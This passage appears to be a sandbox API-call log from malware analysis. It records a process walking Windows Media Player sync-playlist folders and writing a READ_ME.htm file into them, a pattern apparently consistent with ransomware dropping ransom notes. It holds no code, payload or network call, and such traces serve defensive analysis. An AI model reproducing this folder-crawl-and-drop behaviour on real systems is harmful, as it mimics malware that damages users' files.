hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1 [0144.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1 [0144.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1 [0144.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1 [0144.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1 [0144.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1 [0144.307] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1 [0144.308] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1 [0144.308] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1 [0144.308] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1 [0144.308] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1 [0144.308] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e4412d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7e4412d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e4412d0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0 [0144.308] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.309] SetErrorMode (uMode=0x0) returned 0x1 [0144.309] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00008B4D\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00008B4D\\READ_ME.htm", lpFilePart=0x0) returned 0x61 [0144.309] SetErrorMode (uMode=0x1) returned 0x0 [0144.310] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00008B4D\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00008b4d\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.312] GetFileType (hFile=0x1d0) returned 0x1 [0144.312] SetErrorMode (uMode=0x0) returned 0x1 [0144.312] GetFileType (hFile=0x1d0) returned 0x1 [0144.312] WriteFile (in: hFile=0x1d0, lpBuffer=0x2850448*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d098, lpOverlapped=0x0 | out: lpBuffer=0x2850448*, lpNumberOfBytesWritten=0x21d098*=0x720, lpOverlapped=0x0) returned 1 [0144.314] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", lpFilePart=0x0) returned 0x55 [0144.314] SetErrorMode (uMode=0x1) returned 0x0 [0144.314] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.317] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.317] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1 [0144.319] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1 [0144.319] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1 [0144.329] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0 [0144.329] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.330] SetErrorMode (uMode=0x0) returned 0x1 [0144.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", lpFilePart=0x0) returned 0x55 [0144.330] SetErrorMode (uMode=0x1) returned 0x0 [0144.331] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1 [0144.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1 [0144.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1 [0144.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1 [0144.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1 [0144.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1 [0144.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1 [0144.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1 [0144.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1 [0144.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1 [0144.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1 [0144.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: 